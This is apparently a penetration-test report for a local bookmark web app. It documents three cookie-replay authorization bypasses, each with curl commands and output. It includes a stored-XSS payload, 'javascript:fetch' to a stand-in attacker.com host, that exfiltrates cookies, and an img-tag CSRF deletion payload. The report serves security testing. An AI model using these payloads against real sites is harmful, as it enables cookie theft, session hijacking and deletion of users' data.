# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Horizontal Authorization Bypass on GET /list

**Summary:**
- **Vulnerable location:** GET /list endpoint (routes.py:37)
- **Overview:** Attacker can view other users' private bookmarks by stealing and replaying their `bookmarks` cookie
- **Impact:** Complete unauthorized access to victim's bookmark collection, exposing potentially sensitive URLs and private information
- **Severity:** HIGH

**Prerequisites:**
- Victim must have created bookmarks
- Attacker must obtain victim's `bookmarks` cookie (achievable via XSS, network sniffing on HTTP, or social engineering)

**Exploitation Steps:**

1. **Create victim session with private bookmarks:**
```bash
# Initialize victim session
curl -s -c /tmp/victim_cookies.txt http://localhost:45971/list

# Victim adds private bookmark
curl -b /tmp/victim_cookies.txt -c /tmp/victim_cookies.txt \
  -X POST \
  -d "name=SecretProject&url=http://internal-company-docs.com/secret" \
  http://localhost:45971/add
```

2. **Extract victim's cookies (simulating cookie theft via XSS or network sniffing):**
```bash
# View victim's cookies
cat /tmp/victim_cookies.txt | grep -v "^#"

# Example stolen cookies:
# bookmarks=gASVawAAAAAAAABdlIwKYXBwLm1vZGVsc5SMBlVybE9iapSTlCmBlH2UKIwEbmFtZZSMDVNlY3JldFByb2plY3SUjAN1cmyUjCdodHRwOi8vaW50ZXJuYWwtY29tcGFueS1kb2NzLmNvbS9zZWNyZXSUdWJhLg==
# user=7148219806674ff2baa2a402c9286eed
```

3. **Attacker creates separate session:**
```bash
# Attacker gets their own session
curl -v http://localhost:45971/list 2>&1 | grep "Set-Cookie"

# Attacker receives different cookies:
# Set-Cookie: bookmarks=gARdlC4=; Path=/
# Set-Cookie: user=d18aa6a7ea0f4f368a0816e073a66749; Path=/
```

4. **Attacker replays stolen victim cookies to access victim's bookmarks:**
```bash
# Attacker sets stolen cookies and views victim's data
curl -s \
  -b "user=d18aa6a7ea0f4f368a0816e073a66749; bookmarks=gASVawAAAAAAAABdlIwKYXBwLm1vZGVsc5SMBlVybE9iapSTlCmBlH2UKIwEbmFtZZSMDVNlY3JldFByb2plY3SUjAN1cmyUjCdodHRwOi8vaW50ZXJuYWwtY29tcGFueS1kb2NzLmNvbS9zZWNyZXSUdWJhLg==" \
  http://localhost:45971/list
```

**Proof of Impact:**
The response contains victim's private bookmark:
```html
<h5 class="mb-1">SecretProject</h5>
<a class="text-decoration-none" href="http://internal-company-docs.com/secret" target="_blank">
  http://internal-company-docs.com/secret
</a>
```

**Notes:**
- No server-side validation of cookie ownership (routes.py:37 - `pickle.loads(urls)` without authorization check)
- Cookies lack HttpOnly flag, making them accessible via JavaScript for XSS-based theft
- HTTP-only transport (no HTTPS) enables network-based cookie interception
- Attacker's own `user` cookie UUID is irrelevant - only the stolen `bookmarks` cookie matters

---

### AUTHZ-VULN-02: Horizontal Authorization Bypass on POST /add

**Summary:**
- **Vulnerable location:** POST /add endpoint (routes.py:59-63)
- **Overview:** Attacker can inject malicious bookmarks into victim's bookmark collection by manipulating stolen cookies
- **Impact:** Persistent XSS attack vector - attacker injects malicious JavaScript URLs that execute when victim clicks them, enabling further cookie theft and session hijacking
- **Severity:** HIGH

**Prerequisites:**
- Attacker must obtain victim's `bookmarks` and `user` cookies
- Victim must subsequently view their `/list` page where malicious bookmark is rendered

**Exploitation Steps:**

1. **Verify victim's current bookmarks:**
```bash
curl -s -b /tmp/victim_cookies.txt http://localhost:45971/list | \
  grep -E "<h5|href=\"http" | grep -v "delete"

# Output shows victim's existing bookmark:
# <h5 class="mb-1">SecretProject</h5>
# <a href="http://internal-company-docs.com/secret">...</a>
```

2. **Attacker steals victim's cookies and adds malicious bookmark:**
```bash
# Using stolen victim cookies, attacker posts malicious bookmark
curl -s \
  -b "user=7148219806674ff2baa2a402c9286eed; bookmarks=gASVawAAAAAAAABdlIwKYXBwLm1vZGVsc5SMBlVybE9iapSTlCmBlH2UKIwEbmFtZZSMDVNlY3JldFByb2plY3SUjAN1cmyUjCdodHRwOi8vaW50ZXJuYWwtY29tcGFueS1kb2NzLmNvbS9zZWNyZXSUdWJhLg==" \
  -c /tmp/modified_cookies.txt \
  -X POST \
  -d "name=AttackerMalicious&url=javascript:fetch('http://attacker.com/steal?c='+document.cookie)" \
  http://localhost:45971/add
```

3. **Verify malicious bookmark was injected into victim's collection:**
```bash
curl -s -b /tmp/modified_cookies.txt http://localhost:45971/list | \
  grep -E "<h5|href=\"" | grep -v "delete"

# Output now shows both legitimate and malicious bookmarks:
# <h5 class="mb-1">SecretProject</h5>
# <a href="http://internal-company-docs.com/secret">...</a>
# <h5 class="mb-1">AttackerMalicious</h5>
# <a href="javascript:fetch('http://attacker.com/steal?c=' document.cookie)">...</a>
```

**Proof of Impact:**
Victim's bookmark collection now contains attacker-controlled malicious entry:
```html
<h5 class="mb-1">AttackerMalicious</h5>
<a class="text-decoration-none" 
   href="javascript:fetch('http://attacker.com/steal?c=' document.cookie)" 
   target="_blank">
  javascript:fetch('http://attacker.com/steal?c=' document.cookie)
</a>
```

When victim clicks this bookmark, the JavaScript executes in their browser context, sending their cookies to `attacker.com`, enabling further exploitation.

**Notes:**
- No ownership validation at routes.py:59-63 (reads cookies → modifies → writes back without authorization)
- Combines authorization bypass with stored XSS vulnerability
- Application accepts `javascript:` protocol URLs without validation
- No CSRF protection on POST /add endpoint

---

### AUTHZ-VULN-03: Horizontal Authorization Bypass on GET /delete

**Summary:**
- **Vulnerable location:** GET /delete endpoint (routes.py:80-81)
- **Overview:** Attacker can delete victim's bookmarks by replaying stolen cookies with delete requests
- **Impact:** Data destruction - attacker can remove all of victim's bookmarks, causing data loss and denial of service
- **Severity:** HIGH

**Prerequisites:**
- Victim must have bookmarks to delete
- Attacker must obtain victim's `bookmarks` and `user` cookies
- Attacker must know or enumerate bookmark names (obtainable via AUTHZ-VULN-01)

**Exploitation Steps:**

1. **Create victim with important bookmark:**
```bash
# Initialize victim session
curl -s -c /tmp/victim2_cookies.txt http://localhost:45971/list

# Victim adds critical bookmark
curl -s \
  -b /tmp/victim2_cookies.txt \
  -c /tmp/victim2_cookies.txt \
  -X POST \
  -d "name=ImportantWork&url=http://critical-data.com/important" \
  http://localhost:45971/add

# Verify bookmark exists
curl -s -b /tmp/victim2_cookies.txt http://localhost:45971/list | \
  grep -E "<h5|href=\"http" | grep -v "delete"

# Output:
# <h5 class="mb-1">ImportantWork</h5>
# <a href="http://critical-data.com/important">...</a>
```

2. **Extract victim's cookies:**
```bash
cat /tmp/victim2_cookies.txt | grep -v "^#"

# Stolen cookies:
# bookmarks=gASVZgAAAAAAAABdlIwKYXBwLm1vZGVsc5SMBlVybE9iapSTlCmBlH2UKIwEbmFtZZSMDUltcG9ydGFudFdvcmuUjAN1cmyUjCJodHRwOi8vY3JpdGljYWwtZGF0YS5jb20vaW1wb3J0YW50lHViYS4=
# user=f31d4e862157417791ac9f880ba31ef5
```

3. **Attacker uses stolen cookies to delete victim's bookmark:**
```bash
# Attacker sends delete request with victim's cookies
curl -s \
  -b "user=f31d4e862157417791ac9f880ba31ef5; bookmarks=gASVZgAAAAAAAABdlIwKYXBwLm1vZGVsc5SMBlVybE9iapSTlCmBlH2UKIwEbmFtZZSMDUltcG9ydGFudFdvcmuUjAN1cmyUjCJodHRwOi8vY3JpdGljYWwtZGF0YS5jb20vaW1wb3J0YW50lHViYS4=" \
  "http://localhost:45971/delete?name=ImportantWork" \
  -c /tmp/after_delete.txt
```

4. **Verify victim's bookmark is deleted:**
```bash
curl -s -b /tmp/after_delete.txt http://localhost:45971/list | \
  grep -E "(No URLs added|<h5 class=\"mb-1\">)"

# Output:
# <h3 class="mb-4">No URLs added in your bookmark.</h3>
```

**Proof of Impact:**
Victim's bookmark "ImportantWork" has been permanently deleted from their collection. The `/list` page now shows "No URLs added in your bookmark." where previously the bookmark existed. This represents unauthorized data modification and destruction.

**Notes:**
- No ownership validation at routes.py:80-81 (deserializes cookies → deletes without authorization check)
- Uses GET method for state-changing operation (HTTP semantics violation)
- No CSRF protection - attacker could trigger deletion via image tag: `<img src="http://localhost:45971/delete?name=ImportantWork">`
- Attacker can chain with AUTHZ-VULN-01 to enumerate all bookmark names, then delete them systematically

---

## Summary

All three authorization vulnerabilities in the exploitation queue were successfully exploited:

1. **AUTHZ-VULN-01 (GET /list):** Demonstrated unauthorized viewing of victim's private bookmarks
2. **AUTHZ-VULN-02 (POST /add):** Demonstrated unauthorized injection of malicious bookmarks into victim's collection
3. **AUTHZ-VULN-03 (GET /delete):** Demonstrated unauthorized deletion of victim's bookmarks

**Root Cause:** Complete absence of authorization controls. The application trusts client-side cookies without server-side validation of ownership. The code pattern `pickle.loads(request.cookies.get('bookmarks'))` appears at routes.py lines 37, 59, and 80 with zero authorization guards.

**Attack Chain:**
1. Attacker exploits XSS vulnerability (javascript: protocol) or network sniffing (HTTP-only) to steal victim's cookies
2. Attacker replays stolen cookies to perform unauthorized operations
3. Server blindly trusts cookie contents and executes operations without ownership verification

**Impact:** Complete compromise of user data confidentiality, integrity, and availability through horizontal privilege escalation.